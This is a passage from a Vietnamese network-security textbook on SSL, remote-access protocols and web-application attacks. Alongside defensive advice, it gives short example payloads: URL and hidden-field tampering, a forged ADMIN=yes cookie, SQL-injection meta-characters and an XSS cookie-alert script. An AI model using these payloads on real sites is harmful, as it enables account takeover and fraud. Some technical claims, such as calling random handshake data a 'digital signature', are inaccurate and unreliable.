trợ các bộ mật mã (cipher suite) khác nhau tuỳ thuộc vào nhiều yếu tố như phiên
bản SSL đang dùng, chính sách của công ty về độ dài khoá mà họ cảm thấy chấp
nhận được - điều này liên quan đến mức độ bảo mật của thông tin, ….

Nói 1 cách ngắn gọn, SSL có thể sử dụng các thuật toán sau:

DES (Data Encryption Standard) là một thuật toán mã hoá có chiều dài khoá là 56
bit.

3-DES (Triple-DES): là thuật toán mã hoá có độ dài khoá gấp 3 lần độ dài khoá
trong mã hoá DES

DSA (Digital Signature Algorithm): là một phần trong chuẩn về xác thực số đang
được được chính phủ Mỹ sử dụng.

KEA (Key Exchange Algorithm) là một thuật toán trao đổi khoá đang được chính
phủ Mỹ sử dụng.

MD5 (Message Digest algorithm) được phát thiển bởi Rivest.

RSA: là thuật toán mã hoá công khai dùng cho cả quá trình xác thực và mã hoá dữ
liệu được Rivest, Shamir, and Adleman phát triển.

RSA key exchange: là thuật toán trao đổi khoá dùng trong SSL dựa trên thuật toán
RSA.

RC2 and RC4: là các thuật toán mã hoá được phát triển bởi Rivest dùng cho RSA
Data Security.

SHA-1 (Secure Hash Algorithm): là một thuật toán băm đang được chính phủ Mỹ
sử dụng.

Các thuật toán trao đổi khoá như KEA, RSA key exchange được sử dụng để 2 bên
client và server xác lập khoá đối xứng mà họ sẽ sử dụng trong suốt phiên giao dịch
SSL. Và thuật toán được sử dụng phổ biến là RSA key exchange.

Các phiên bản SSL 2.0 và SSL 3.0 hỗ trợ cho hầu hết các bộ mã hoá. Người quản
106
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

trị có thể tuỳ chọn bộ mã hoá sẽ dùng cho cả client và server. Khi một client và
server trao đổi thông tin trong giai đoạn bắt tay (handshake), họ sẽ xác định bộ mã
hoá mạnh nhất có thể và sử dụng chúng trong phiên giao dịch SSL.

c. Hoạt động của SSL

Giao thức SSL sử dụng kết hợp 2 loại mã hoá đối xứng và công khai. Sử dụng mã
hoá đối xứng nhanh hơn rất nhiều so với mã hoá công khai khi truyền dữ liệu,
nhưng mã hoá công khai lại là giải pháp tốt nhất trong qúa trình xác thực. Một giao
dịch SSL thường bắt đầu bởi quá trình “bắt tay” giữa hai bên (SSL handshake).
Các bước trong quá trình “bắt tay” có thể tóm tắt như sau:

Client sẽ gửi cho server số phiên bản SSL đang dùng, các tham số của thuật toán
mã hoá, dữ liệu được tạo ra ngẫu nhiên (đó chính là digital signature) và một số
thông tin khác mà server cần để thiết lập kết nối với client.

Server gửi cho client số phiên bản SSL đang dùng, các tham số của thuật toán mã
hoá, dữ liệu được tạo ra ngẫu nhiên và một số thông tin khác mà client cần để thiết
lập kết nối với server. Ngoài ra server cũng gửi certificate của nó đến client, và yêu
cầu certificate của client nếu cần.

Client sử dụng một số thông tin mà server gửi đến để xác thực server. Nếu như
server không được xác thực thì người sử dụng sẽ được cảnh báo và kết nối không
được thiết lập. Còn nếu như xác thực được server thì phía client sẽ thực hiện tiếp
bước 4.

Sử dụng tất cả các thông tin được tạo ra trong giai đoạn bắt tay ở trên, client (cùng
với sự cộng tác của server và phụ thuộc vào thuật toán được sử dụng) sẽ tạo ra
premaster secret cho phiên làm việc, mã hoá bằng khoá công khai (public key) mà
server gửi đến trong certificate ở bước 2, và gửi đến server.

Nếu server có yêu cầu xác thực client, thì phía client sẽ đánh dấu vào phần thông
tin riêng chỉ liên quan đến quá trình “bắt tay” này mà hai bên đều biết. Trong
trường hợp này, client sẽ gửi cả thông tin được đánh dấu và certificate của mình
cùng với premaster secret đã được mã hoá tới server.

Server sẽ xác thực client. Trường hợp client không được xác thực, phiên làm việc
sẽ bị ngắt. Còn nếu client được xác thực thành công, server sẽ sử dụng khoá bí mật
(private key) để giải mã premaster secret, sau đó thực hiện một số bước để tạo ra
master secret.
107
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Client và server sẽ sử dụng master secret để tạo ra các session key, đó chính là các
khoá đối xứng được sử dụng để mã hoá và giải mã các thông tin trong phiên làm
việc và kiểm tra tính toàn vẹn dữ liệu.

Client sẽ gửi một lời nhắn đến server thông báo rằng các message tiếp theo sẽ được
mã hoá bằng session key. Sau đó nó gửi một lời nhắn đã được mã hoá để thông báo
rằng phía client đã kết thúc giai đoạn “bắt tay”.

Server cũng gửi một lời nhắn đến client thông báo rằng các message tiếp theo sẽ
được mã hoá bằng session key. Sau đó nó gửi một lời nhắn đã được mã hoá để
thông báo rằng server đã kết thúc giai đoạn “bắt tay”.

Lúc này giai đoạn “bắt tay” đã hoàn thành, và phiên làm việc SSL bắt đầu. Cả hai
phía client và server sẽ sử dụng các session key để mã hoá và giải mã thông tin
trao đổi giữa hai bên, và kiểm tra tính toàn vẹn dữ liệu.

108
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

PHẦN 4
AN NINH ỨNG DỤNG

109
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 1: AN NINH TRONG TRUY CẬP TỪ XA


Như đã đề cập ở phần an ninh hạ tầng, một mô hình mạng cơ bản của tổ chức
thường có nhiều điểm kết nối (Network Access Points). Và cũng theo phần an ninh
hạ tầng, chúng ta phải xác định rõ nguy cơ đối với từng điểm kết nối để có giải
pháp bảo mật hợp lý. Trong chương an ninh truy cập từ xa này, chúng ta sẽ đề cập
đến những khái niệm liên quan đến truy cập từ xa như giao thức bảo mật mạng
không dây 802.1x, VPN, SSH, Radius,… Từng khái niệm sẽ được đề cập chi tiết ở
phần sau của chương.

1. 802.1x

802.1x là một giao thức được thiết kế để tăng cường bảo mật cho mạng không dây
WLAN. Khi một người dùng muốn truy cập vào mạng không dây, 802.1x buộc họ
phải chứng thực với một thiết bị chứng thực tập trung gọi là Authenticator. 802.1x
sử dụng Extensible Authentication Protocol (EAP) để truyền thông tin giữa người
dùng và Authenticator. Khi bắt đầu kết nối, Authenticator đặt người dùng ở trạng
thái “unauthorized state” (chưa có quyền truy cập), khi đó, chỉ có gói tin EAP được
trao đổi để xác thực người dùng. Người dùng sẽ gửi các thông tin xác thực của
mình đến Authenticator, Authenticator chuyển tiếp các thông tin này tới máy chủ
xác thực (Authenticaton Server). Authentication server, là các máy chạy các dịch
vụ chứng thực (vd: RADIUS), sẽ chứng thực cho người dùng. Nếu xác thực thành
công, người dùng sẽ được đặt vào trạng thái “authorized state” và có thể truy cập
mạng WLAN. Hình sau đây minh họa quá trình chứng thực của một người dùng
trong mạng WLAN.

110
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

1.1. Những vấn đề an ninh của mạng không dây

 Nhận thức của người dùng:

– Kỹ thuật mới, hiện đại, ít người am hiểu tường tận.

– Quan điểm chủ quan.

– Cấu hình mặc định của các thiết bị thường ở chế độ mở hoàn toàn.

 Các lỗ hổng bảo mật:

– WEP (wired equivalent protocol) không an toàn: Có thể bị bẻ khóa trong
khoảng thời gian tính bằng phút đối với một máy tính thông thường.

– MAC filtering không hiệu quả vì MAC có thể bị thay đổi.

1.2. Các biện pháp bảo mật cho WLAN

 Thay đổi ngay các giá trị mặc định của thiết bị trước khi đưa vào sử dụng.
 Đặt AP ở vị trí hợp lý sao cho người dùng có được tín hiệu tốt nhất và hạn
chế được tín hiệu ra bên ngoài.
 Áp dụng tất cả các biện pháp bảo mật của thiết bị mà nhà sản xuất cung cấp.
 Luôn cập nhật các phiên bản firmware mới nhất.
 Sử dụng WPA thay cho WEP.

2. Virtual Private Network

Như đã trình bày đề cập chi tiết ở phần an ninh hạ tầng, VPN hiện được xem là
một trong những giải pháp truy cập từ xa an toàn với chi phí đầu tư thấp nhất hiện
nay.

111
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

3. RADIUS

3.1. Khái niệm

Giao thức Remote Authentication Dial In User Service (RADIUS) được phát triển
bởi Livingston Enterprises với mục đích ban đầu là để chứng thực cho các kết nối
quay số (Dial-in). Sau đó, cùng với sự phát triển của mạng không dây và mạng
riêng ảo, RADIUS cũng được mở rộng dùng để chứng thực cho cả hai loại kết nối
này. RADIUS là loại dịch vụ phổ biến nhất dùng cho một máy chủ AAA. Ví dụ:
một máy chủ truy cập từ xa (Remote Access Server - RAS) phải có khả năng
chứng thực cho người dùng (Authentication), cho phép người dùng hợp lệ thực thi
các hành động cụ thể (Authorization) và ghi lại các hành động của người dùng
trong phiên kết nối (Auditing).

Khi một người dùng truy cập từ xa và hệ thống, RADIUS được dùng để chứng
thực username và passwords. Một RADIUS server có thể hoạt động độc lập

112
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

(Stand-alone) hay là một thành phần trong môi trường phân cấp (Distributed
RADIUS).

Trong môi trường phân cấp, các RADIUS server chuyển tiếp yêu cầu chứng thực
của người dùng đến một Enterprise RADIUS server dựa trên giao thức Proxy
RADIUS. Enterprise RADIUS server sẽ xử lý yêu cầu chứng thực của người dùng
và lại gửi các thông tin hồi đáp tới các RADIUS cấp dưới.

Một trong những yếu tố khiến RADIUS trở nên rất phổ biến là vì nó hỗ trợ nhiều
giao thức, bao gồm:

 Point-to-Point Protocol (PPP)

 Password Authentication Protocol (PAP)

 Challenge Handshake Authentication Protocol (CHAP)

3.2. Quá trình chứng thực của RADIUS


1) Người dùng khởi tạo kết nối đến máy chủ truy cập từ xa (RAS server). Khi
kết nối được thiết lập, RAS yêu cầu người dùng chứng thực bằng
Username/password.

2) Người dùng gửi username/password đến RAS (có thể dùng PAP hoặc
CHAP). RAS làm nhiệm vụ mã hóa các thông tin này bằng một khóa chia sẻ
- shared secret key và chuyển đến RADIUS server.

3) RADIUS server chứng thực người dùng dựa vào thông tin nhận được và cơ
sở dữ liệu về người dùng.

4) Nếu các thông tin người dùng hợp lệ, RADIUS hồi đáp bằng thông điệp
“access-accept”; ngược lại, RADIUS sẽ hồi đáp với thông điệp “access-
reject”.

5) RAS nhận được hồi đáp từ RADIUS sẽ cho phép hoặc từ chối người dùng
truy cập vào mạng.

113
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Một điểm yếu phổ biến của RADIUS và các Web Server là có thể bị tấn công tràn
bộ đệm (buffer overflow). Kiểu tấn công này xuất hiện khi hacker gửi tràn ngập
các request khiến máy chủ RADIUS hay Web không thể xử lý. Lỗi này sẽ được
trình bày chi tiết ở phần An ninh máy chủ Web.

4. PPTP/L2TP

Như đã đề cập ở những phần trước, có một số giao thức tunneling được sử dụng
trong công nghệ VPN. Hai trong số đó là giao thức PPTP và L2TP, đều là những
giao thức lớp Data Link (lớp 2 trong mô hình OSI). PPTP sử dụng giao thức TCP ở

114
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

cổng 1723 còn L2TP sử dụng UDP ở cổng 1701. Chúng ta cần lưu ý 2 cổng này
khi cấu hình VPN.

4.1. PPTP

PPTP là một giao thức phổ biến đơn giản vì nó là giao thức đóng gói dữ liệu đầu
tiên được đưa vào sử dụng, PPTP được thiết kế bởi các kỹ sư Microsoft. Hiển
nhiên, PPTP được hỗ trợ trên hầu hết các phiên bản HĐH Windows. PPTP thiết lập
kết nối point-to-point giữa 2 máy tính bằng cách đóng gói gói tin PPP trước khi
truyền đi. Mặc dù PPTP giải quyết khá tốt vấn đề bảo mật đường truyền, nhưng
vẫn còn những vấn đề với giao thức này.

 PPTP mã hóa dữ liệu với giao thức MPPE (Microsoft Point-to-Point


Encryption) trước khi truyền đi, nhưng lại không mã hóa những thông tin
được trao đổi trong quá trình thỏa thuận kết nối (Negotiation).

 PPTP là một giao thức hạn chế, nghĩa là nó chỉ hoạt động trên môi trường
mạng IP.

 PPTP không thể sử dụng kết hợp với IPSEC.

4.2. L2TP

Các kỹ sư của hãng Cisco tin rằng họ có thể thiết kế một giao thức đóng gói tốt
hơn PPTP và họ đã tạo ra Layer 2 Forwarding (L2F) Protocol. Tuy nhiên, L2F
cũng không tốt hơn PPTP là bao khi mà nó thậm chí còn không cung cấp cơ chế
mã hóa dữ liệu trước khi đóng gói.

Để kết hợp được được ưu điểm và giải quyết nhược điểm của cả 2 giao thức PPTP
và L2F, các kỹ sư của Microsoft và Cisco đã ngồi lại và phát triển ra một giao thức
mới- giao thức L2TP. L2TP đã có những điểm cải tiến đáng kể và đặc biệt, để giải
quyết được vấn đề mã hóa, L2TP được thiết kế để có thể kết hợp sử dụng cùng
IPSEC. L2TP làm nhiệm vụ đóng gói dữ liệu (tunneling) còn IPSEC giải quyết vấn
đề mã hóa.

4.3. Những điểm khác biệt chính giữa PPTP và L2TP


 L2TP sử dụng kết hợp được với IPSEC.

115
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

 L2TP hỗ trợ RADIUS và TACACS+.

 L2TP thường được triển khai dưới dạng giải pháp phần cứng.

 L2TP có thể hoạt động trên nhiều giao thức Network khác nhau: IP, IPX,
NetBeui trong khi PPTP chỉ hoạt động trên nền IP.

 Sử dụng L2TP cùng với IPSec cung cấp 2 lớp chứng thực:

o Computer-level authentication sử dụng chứng chỉ số hoặc khóa chia


sẻ từ trước (pre-shared key) cho phiên làm việc IPSec.

o User-level authentication sử dụng các giao thức chứng thực PPP cho
việc tạo hầm ảo L2TP (Tunneling).

5. SSH

5.1. Khái niệm

SSH (Secure Shell) là một giao thức mạng dùng để thiết lập kết nối mạng một cách
bảo mật. SSH hoạt động ở lớp ứng dụng trong mô hình bảy lớp OSI. Các công cụ
SSH (như là OpenSSH, PuTTy,…) cung cấp cho người dùng cách thức để thiết lập
kết nối mạng được mã hoá để tạo một kênh kết nối riêng tư. Hơn nữa tính năng
tunneling (hoặc còn gọi là port forwarding) của các công cụ này cho phép ta xây
dựng một hệ thống mạng riêng ảo đơn giản dựa trên SSH.

Sử dụng SSH cho phép ta thay thế được các chương trình trước đó như Telnet,
Rlogin. Trong khi các công cụ này gửi username và password dưới dạng bản rõ
(clear text) và là mục tiêu dễ dàng cho các cuộc tấn công nghe lén (Sniffing) thì
SSH cung cấp cơ chế mã hóa đường truyền trước khi các thông tin nhạy cảm được
truyền đi.

5.2. Hoạt động của SSH

Khi người dùng muốn thiết lập một phiên kết nối SSH đến máy chủ (host), người
dùng sẽ gửi thông tin yêu cầu về phiên kết nối SSH. Khi Host nhận được yêu cầu

116
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

từ người dùng, cả hai sẽ thực hiện quá trình bắt tay (handshake), bao gồm cả quá
trình xác định các thông số chung. Tiếp theo, khóa phiên (session key) sẽ được trao
đổi giữa người dùng và host. Việc trao đổi khóa phiên diễn ra an toàn với việc sử
dụng mã hóa công khai. Sau khi có khóa phiên, người dùng có thể thực hiện phiên
kết nối mã hóa với khóa phiên.

6. IPSEC

IPSec là một bộ các chuẩn mở (open standards) được sử dụng để mã hóa dữ liệu để
nhằm đảm bảo dữ liệu được an toàn trên đường truyền dùng chung, ví dụ Internet.
Không giống như các giao thức mã hóa đường truyền khác, IPSec không phụ thuộc
vào bất kì phương thức xác thực hay thuật toán mã hóa nào, và điều đó khiến nó
được coi là một bộ các chuẩn mở. Điểm nữa là IPSec hoạt động ở lớp Network
trong mô hình OSI, do vậy nó không bị phụ thuộc vào các ứng dụng, nghĩa là
người dùng không cần phải cấu hình từng ứng dụng để sử dụng với IPSec.

Trong quá trình mã hóa và chứng thực dữ liệu, IPSec sử dụng một trong hai, hoặc
cả hai giao thức sau để bảo vệ mật thông tin:

 Authentication Header (AH): Header của gói tin được mã hóa và bảo vệ
phòng chống các trường hợp IP Spoofing (sự giả mạo IP) hay MITM. Tuy
nhiên, trong trường hợp này, chỉ có phần header của gói tin được bảo vệ còn
phần nội dung thông tin thì không.

117
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

 Encapsulation Security Payload (ESP): Nội dung thông tin sẽ được mã hóa,
đảm bảo tính bí mật của dữ liệu.

7. Tóm tắt nội dung chương

1. 802.1x sử dụng EAP để trao đổi thông tin giữa người dùng mạng không dây
và thiết bị chứng thực (authenticator).

2. Kỹ thuật Tunneling của VPN bao gồm 3 giao thức: giao thức truyền tải
(carrier protocol), giao thức đóng gói (encapsultation protocol) và giao thức
gói tin (passenger protocol).

3. Có 2 loại VPN là VPN site-to-site và VPN remote-access (Dial-in VPN).

4. PPTP là giao thức đóng gói dữ liệu trong VPN hoạt động ở cổng dịch vụ
TCP 1723, L2TP hoạt động ở cổng UDP 1701, SSH hoạt động ở cổng TCP
22.

5. RADIUS, TACACS và TACACS+ là những giao thức chứng thực tập trung
cho truy cập từ xa. RADIUS và TACACS là giao thức UDP, TACACS+ là
giao thức TCP.

6. SSH là giao thức tạo kết nối được mã hóa, thay thế cho các giao thức cũ
như telnet, rlogin, rsh và rcp.

7. SSH sử dụng khái niệm khóa phiên (khóa đối xứng) để mã hóa đường
truyền. Khóa phiên được trao đổi bằng mã hóa bất đối xứng.

8. IPSec sử dụng AH và ESP để mã hóa và chứng thực dữ liệu.

118
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 2: AN NINH WEB

1. Khái niệm ứng dụng Web

Ứng dụng Web là một ứng dụng chủ/khách (server/client) sử dụng giao thức HTTP
để tương tác giữa người dùng và máy chủ Web.

Một ứng dụng Web thường có kiến trúc gồm:

 Lớp trình bày: Lớp này có nhiệm vụ hiển thị dữ liệu người dùng , ngoài ra
còn có thêm các ứng dụng tạo bố cục cho trang Web.

 Lớp ứng dụng: là nơi xử lý của ứng dụng Web. Nó xử lý thông tin người
dùng yêu cầu, đưa ra quyết định, gửi kết quả đến lớp trình bày. Lớp này
thường được xây dựng bằng các kỹ thuật lập trình như CGI, Java, .NET,
PHP hay Cold Fushion, được triển khai trên các trình chủ như IBM
WebSphere, WebLogic, Apache, IIS…

 Lớp dữ liệu: Thường là các hệ quản trị cơ sở dữ liệu (DBMS) chịu trách
nhiệm quản lý các cơ sở dữ liệu và quyền sử dụng.

119
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2. Hoạt động của một ứng dụng Web

Đầu tiên trình duyệt của người dùng (IE, Firefox, Netscape Navigator…) sẽ gửi
một yêu cầu (Request) đến trình chủ thông qua các lệnh cơ bản như GET, POST…
của giao thức HTTP. Trình chủ sẽ truy cập máy chủ chứa cơ sở dữ liệu để thực
hiện nhiệm vụ được yêu cầu: cập nhật, truy vấn thông tin đang nằm trong cơ sở dữ
liệu. Sau đó ứng dụng Web gửi thông tin lại cho người dùng qua trình duyệt.

Theo mô hình trên, với Firewall, luồng thông tin giữa trình chủ và trình duyệt
người dùng là thông tin hợp lệ. Vì vậy, nếu tồn tại lỗ hổng trong ứng dụng Web thì
tường lửa không còn hữu dụng trong việc ngăn chặn tấn công. Cũng chính bởi lý

120
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

do này, các kỹ thuật tấn công vào một hệ thống mạng ngày nay đang dần tập trung
vào các lỗi lập trình trong quá trình phát triển ứng dụng Web hơn là tấn công trực
tiếp vào hệ thống mạng, hệ điều hành.

3. Tổng quan về các kỹ thuật tấn công ứng dụng Web

Như đã đề cập ở trên, ứng dụng Web được coi là mục tiêu ưa thích của hacker. Các
kỹ thuật tấn công mà hacker sử dụng thường tập trung vào 5 dạng tấn công sau:

 Kiểm soát quyền truy cập Web.

 Chiếm hữu phiên làm việc.

 Lợi dụng những lỗ hổng trong việc kiểm tra dữ liệu hợp lệ.

 Để lộ thông tin.

 Tấn công từ chối dịch vụ.

2.1. Kiểm soát truy cập Web (Web Access Control)


Hacker có thể lợi dụng những lỗ hổng trên máy chủ Web hoặc lỗi trong quá trình
kiểm tra dữ liệu upload để cài một backdoor trên máy chủ Web.

2.2. Chiếm hữu phiên làm việc (Session Management)

2.2.1. Ấn định phiên làm việc (Session Fixation)

Là kỹ thuật tấn công cho phép Hacker mạo danh người dùng hợp lệ bằng cách gửi
một đường link chứa session ID hợp lệ đến người dùng. Ngay sau khi người dùng
đăng nhập vào hệ thống thành công, hacker sẽ dùng lại session ID đó và nghiễm
nhiên trở thành người dùng hợp lệ.

121
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2.2.2. Đánh cắp phiên làm việc (Session Hijacking)

Là kỹ thuật tấn công cho phép Hacker mạo danh người dùng hợp lệ sau khi nạn
nhân đã đăng nhập vào hệ thống bằng cách giải mã Session ID của họ lưu trữ trong
cookie hay tham số URL…

2.3. Lợi dụng những lỗ hổng trong việc kiểm tra dữ liệu hợp lệ (Input
Validation)

Hacker lợi dụng những ô nhập dữ liệu (Search, URL, Login…) để gửi đi một đoạn
mã bất kỳ khiến hệ thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn.

2.3.1. Tràn bộ đệm (Buffer OverFlow)

Một khối dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu được cấp phát
khiến cho ứng dụng không thể thực thi được các câu lệnh hợp lệ mà thay vào đó
phải thực thi một đoạn mã bất kì do Hacker đưa vào hệ thống.

2.3.2. Mã hóa URL (URL Encoding)

Lợi dụng chuẩn mã hóa những ký tự đặc biệt trên URL mà hacker sẽ mã hóa tự
động những ký tự không hợp lệ- những ký tự được kiểm tra bằng ngôn ngữ kịch
bản- để vượt qua được sự kiểm soát.

2.3.3. Ký tự Meta (Meta-characters)

Sử dụng những ký tự đặc biệt, hacker có thể chèn thêm vào dữ liệu gửi những ký
tự trong chuỗi câu lệnh như <script> trong kỹ thuật XSS hay ‘ -- trong kỹ thuật
SQL Injection để thực thi câu lệnh.

2.3.4. Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-site Scripting)
122
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Đây là kỹ thuật tấn công chủ yếu nhằm vào thông tin trên máy người dùng hơn là
vào hệ thống máy chủ. Bằng cách thêm một số đoạn mã bất kỳ (thường được lập
trình bằng ngôn ngữ kịch bản như JavaScipt, VBScript…), hacker có thể thực hiện
việc đánh cắp thông tin quan trọng như cookie để từ đó có thể mạo danh người
dùng hợp lệ. Cross-Site Scripting cũng là một kiểu tấn công “Session Hijacking”.

2.3.5. Chèn câu truy vấn SQL (SQL Injection)

Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đề kiểm tra
giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu truy vấn hay những
giá trị không hợp lệ để dễ dàng đăng nhập vào hệ thống.

2.4. Để lộ thông tin (Informational)

Những tệp tin và ứng dụng trên hệ thống chứa những thông tin quan trọng như mã
nguồn một trang Web hay tệp tin chứa mật khẩu người dùng trên hệ thống luôn là
mục tiêu của Hacker. Ngoài ra, những chú thích trong mã nguồn cũng là những
thông tin có ích cho hacker.

Ví dụ: hacker lợi dụng hồi đáp HTTP từ hệ thống để xác định một tệp tin, ứng
dụng có tồn tại không?

 HTTP 200: tệp tin tồn tại.

 HTTP 404: tệp tin không tồn tại.

123
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2.5. Tấn công từ chối dịch vụ

Hacker bằng cách nào đó gửi một lượng lớn yêu cầu đến máy chủ ứng dụng Web
trong một thời gian ngắn khiến cho hệ thống không thể đáp ứng kịp yêu cầu 
không thể phục vụ những yêu cầu hợp lệ được nữa.

Hiện nay có nhiều dạng tấn công từ chối dịch vụ: DOS (Denial of Service), DDOS
(Distributed Denial of Service), DRDOS (Distributed Reflection Denial of
Service).

4. Các kỹ thuật tấn công phổ biến

4.1. Thao tác trên tham số truyền

Thao tác trên tham số truyền là kỹ thuật thay đổi thông tin quan trọng trên cookie,
URL hay biến ẩn form. Kỹ thuật XSS, SessionID, SQL Injection, Buffer OverFlow
… cũng cần đến các tham số này để hoàn thiện các bước tấn công của hacker. Có
thể nói, các tham số truyền là đầu mối cho mọi hoạt động của hacker trong quá
trình tấn công ứng dụng web.

4.1.1. Thao tác trên URL

4.1.1.1. Khái niệm

Khi nhập một form HTML thì kết quả sẽ được gửi đi theo 2 phương thức GET
hoặc POST và các giá trị này sẽ được thể hiện ở trong URL.

Ví dụ: có một trang web ứng dụng cho phép thành viên được thay đổi mật khẩu:

http://www.bank.com/example?user=anhdh&newpwd=123

124
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

+ username là tên người dùng cần thay đổi mật khẩu.

+ newpwd là mật khẩu mới của người dùng.

Tuy nhiên, bằng cách thay đổi tham số như sau:

http://www.bank.com/example?user=admin&newpwd=123456

Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất kỳ, ở
đây là 123456.

4.1.1.2. Một số biện pháp phòng chống

Đối với kiểu tấn công thay đổi nội dung URL, biện pháp phòng chống tốt nhất là
mã hóa thông tin trước khi cho hiển thị trên trình duyệt để tránh hacker có thể sửa
đổi tùy ý.

4.1.2. Thao tác trên biến ẩn form

4.1.2.1. Khái niệm

Thông tin có thể được chuyển đổi thông qua một biến ẩn của form, gọi là Hidden
Form Field. Biến ẩn form không hiển thị trên màn hình trình duyệt nhưng người
dùng có thể tìm thấy nội dung của nó bằng cách “view source”, vì thế đây là một
điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang web xuống trình duyệt,
thay đổi nội dung trang và gửi đến trình chủ.

Ví dụ: Form gốc có nội dung như sau:

<form action=http://www.attack.com/cuahang.asp method=”POST”>

125
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

<Input type=”hidden” name=”giaca” value=”99.99”>

</form>

Nếu không có sự thay đổi nào thì yêu cầu đến trình chủ có nội dung:

POST /cuahang.asp HTTP/2.0

Giaca=99.99

Nhưng nếu hacker gán một giá trị khác cho trường “giaca”:

<form action=http://www.attack.com/cuahang.asp method=”POST”>

<Input type=”hidden” name=”giaca”


value=”999999999999999999999999999999999999999”>

</form>

Thì yêu cầu sẽ thay đổi:

126
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

POST /cuahang.asp HTTP/2.0

Giaca=999999999999999999999999999999999999999

Ngoài việc thay đổi nội dung biến ẩn form, hacker còn biến đổi nội dung các thành
phần trong form, như chiều dài một ô nhập dữ liệu để thực hiện việc tấn công tràn
bộ đệm.

4.1.2.2. Một số biện pháp khắc phục

 Chỉ nên sử dụng biến ẩn form để hiển thị dữ liệu lên trình duyệt, không
được sử dụng giá trị biến để thao tác trong xử lý ứng dụng.

 Dùng biến HTTP_REFERER để kiểm tra nguồn gốc của yêu cầu gửi đến,
tuy nhiên, hacker có thể che dấu nguồn gốc thực của mình bằng Proxy, do
vậy cũng không nên quá tin tưởng vào biến HTTP_REFERER.

 Sử dụng thuật toán mã hóa một chiều để tạo chuỗi mã hóa cho biến ẩn form.

4.1.3. Thao tác trên cookie

4.1.3.1. Khái niệm

Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ và trình
duyệt của người dùng.

Các cookie được lưu trữ dưới dạng những file text, được ứng dụng tạo ra để lưu
trữ/ truy tìm/ nhận biết các thông tin về người dùng đã ghé thăm trang web và
những vùng họ đã đi qua trong trang. Nhưng thông tin này có thể bao gồm định

127
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

danh người dùng, mật khẩu, sở thích, thói quen,… Cookie thường được trình duyệt
của người dùng lưu trên máy tính của họ.

Với cookie, ở những lần truy cập sau đó đến trang web, ứng dụng có thể dùng lại
thông tin trong cookie (như các thông tin đăng nhập) nên người dùng không phải
cung cấp lại các thông tin.

Điểm yếu đối với cookie là nó có thể bị thay đổi bởi người dùng. Do đó, hacker có
thể lợi dụng thay đổi nội dung cookie để tấn công ứng dụng.

Ví dụ: Cookie dùng để lưu trữ thông tin của người dùng cho ứng dụng web có
dạng:

Cookie: Lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;

Cookie xác định người dùng này không phải là admin (ADMIN=no), nhưng nếu
hacker thay đổi trường giá trị trường ADMIN như sau:

Cookie: Lang=en-us; ADMIN=yes; y=1 ; time=11:30GMT ;

Thì hacker lúc này mang vai trò là admin của ứng dụng.

4.1.3.2. Một số biện pháp khắc phục

 Sử dụng đối tượng session lưu trữ thông tin quan trọng (tài khoản người
dùng) trên trình chủ. Khi ứng dụng cần kiểm tra thông tin của một người
dùng, ứng dụng sẽ dùng sessionID của người dùng để trỏ đến thông tin của
người dùng đó trong cache hay cơ sở dữ liệu.

128
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

 Xây dựng một cơ chế kiểm tra nội dung của cookie để tìm ra giá trị không
hợp lệ. Ví dụ, có thể thêm cờ STT vào cookie cùng với trường ADMIN, nếu
trường ADMIN được thiết lập là “yes” nhưng giá trị STT lại không trùng
với STT của ADMIN được lưu trên server, có thể kết luận cookie đó là giả.

 Mã hóa cookie.

4.2. Cross Site Scripting

4.2.1. Khái niệm

Cross-Site Scripting hay còn được gọi tắt là XSS là một kĩ thuật tấn công bằng
cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay
những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng
khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng
các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ
HTML.
Kĩ thuật tấn công XSS đã nhanh chóng trở thành một trong những lỗi phổ biến nhất
của Web Applications và mối đe doạ của chúng đối với người sử dụng ngày càng
lớn.

Mục tiêu tấn công của XSS chính là những người sử dụng khác của website, khi họ
vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại họ có
thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật
khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor,
worm ..

129
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Ví dụ: hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt
những đoạn mã viết bằng ngôn ngữ phía client như VBScript, JavaScript… được
thực thi trên trình duyệt nạn nhân:

http://example.com/index.html?tw=<script>alert(document.cookie)</script>

Phần in đậm là đoạn mã được thêm vào với mục đích đánh cắp cookies của nạn
nhân.

Hay hacker tấn công XSS thông qua file flash:

